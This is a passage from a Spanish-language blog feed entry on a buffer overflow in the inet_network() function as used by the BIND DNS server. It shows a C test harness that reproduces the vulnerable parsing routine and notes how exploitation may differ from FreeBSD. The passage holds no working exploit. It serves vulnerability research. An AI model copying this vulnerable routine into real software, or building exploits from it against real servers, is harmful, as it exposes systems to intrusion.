&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;, i = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;; i &amp;lt; n; i++&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; val &amp;lt;&amp;lt;= &lt;span style="color: rgb(204, 102, 204);"&gt;8&lt;/span&gt;;&lt;br /&gt; val |= parts&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt; &amp;amp; 0xff;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;val&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;/pre&gt;&lt;br /&gt;Lo que he hecho es lo siguiente.&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Instalar BIND en la Computadora de prueba con la opcion -g&lt;/li&gt;&lt;/ul&gt;Esto es para mayor depuracion del mismo.&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Active la creacion de archivos core en el sistema de prueba&lt;/li&gt;&lt;/ul&gt;Esto es por si la aplicacione se llega a caer en alguna de las pruebas, poder analizar esto mejor.&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Agregar a mi ejemplo test_network.c, la funcion Vulnerable.&lt;/li&gt;&lt;/ul&gt;La agrege con otro nombre esto para poderlo compilar con la opcion -g -static para poder depurarlo sin tener que terner el server abierto.&lt;br /&gt;&lt;br /&gt;Asi mi codigo para testear la funcion vulnerable queda asi.&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;in_addr_t inet_networkbuf&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;const&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; *cp&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; argc,&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; *argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; *host = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;argc &amp;gt; &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; ? argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt; : &lt;span style="color: rgb(255, 0, 0);"&gt;"192.168.0.1"&lt;/span&gt;;&lt;br /&gt;in_addr_t  net = inet_networkbuf&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;host&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"0x%x&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;,net&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;in_addr_t&lt;br /&gt;inet_networkbuf&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;cp&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;const&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; *cp;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;in_addr_t val, base, n;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; c;&lt;br /&gt;in_addr_t parts&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;, *pp = parts;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; i, digit;&lt;br /&gt;&lt;br /&gt;again:&lt;br /&gt;val = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;; base = &lt;span style="color: rgb(204, 102, 204);"&gt;10&lt;/span&gt;; digit = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'0'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; digit = &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;, base = &lt;span style="color: rgb(204, 102, 204);"&gt;8&lt;/span&gt;, cp++;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'x'&lt;/span&gt; || *cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'X'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; base = &lt;span style="color: rgb(204, 102, 204);"&gt;16&lt;/span&gt;, cp++;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;c = *cp&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; != &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;isdigit&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;c&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;base == 8U &amp;amp;&amp;amp; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;c == &lt;span style="color: rgb(255, 0, 0);"&gt;'8'&lt;/span&gt; || c == &lt;span style="color: rgb(255, 0, 0);"&gt;'9'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;  val = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;val * base&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; + &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;c - &lt;span style="color: rgb(255, 0, 0);"&gt;'0'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;  cp++;&lt;br /&gt;  digit = &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;continue&lt;/span&gt;;&lt;br /&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;base == 16U &amp;amp;&amp;amp; isxdigit&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;c&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;  val = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;val &amp;lt;&amp;lt; &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; +&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;c + &lt;span style="color: rgb(204, 102, 204);"&gt;10&lt;/span&gt; - &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;islower&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;c&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; ? &lt;span style="color: rgb(255, 0, 0);"&gt;'a'&lt;/span&gt; : &lt;span style="color: rgb(255, 0, 0);"&gt;'A'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;  cp++;&lt;br /&gt;  digit = &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;continue&lt;/span&gt;;&lt;br /&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;break&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;!digit&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'.'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pp &amp;gt;= parts + &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt; || val &amp;gt; 0xffU&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt; *pp++ = val, cp++;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; again;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp &amp;amp;&amp;amp; !isspace&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp&amp;amp;0xff&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;*pp++ = val;&lt;br /&gt;n = pp - parts;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;n &amp;gt; 4U&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;for&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;val = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;, i = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;; i &amp;lt; n; i++&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; val &amp;lt;&amp;lt;= &lt;span style="color: rgb(204, 102, 204);"&gt;8&lt;/span&gt;;&lt;br /&gt; val |= parts&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt; &amp;amp; 0xff;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;val&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;/pre&gt;&lt;br /&gt;Como vemos la unica diferencia entre la funcion existemente en FreeBSD y la del Servidor BIND, es que BIND declara las variables mas utilizadas como &lt;b&gt;register&lt;/b&gt;, esto es para que sea mas efeciente. Lo cual me da a entender que va a ser un poco diferente la Explotacion de la funcion &lt;b&gt;inet_network()&lt;/b&gt;, dentro de aplicaciones comunes de FreeBSD, que la del Servidor BIND.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-5283332465885015367?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/5283332465885015367/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=5283332465885015367' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5283332465885015367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5283332465885015367'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/01/buffer-over-flow-en-inetnetwork-afecta.html' title='BoF en inet_network(), afecta a Servidor DNS: BIND'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry></feed>
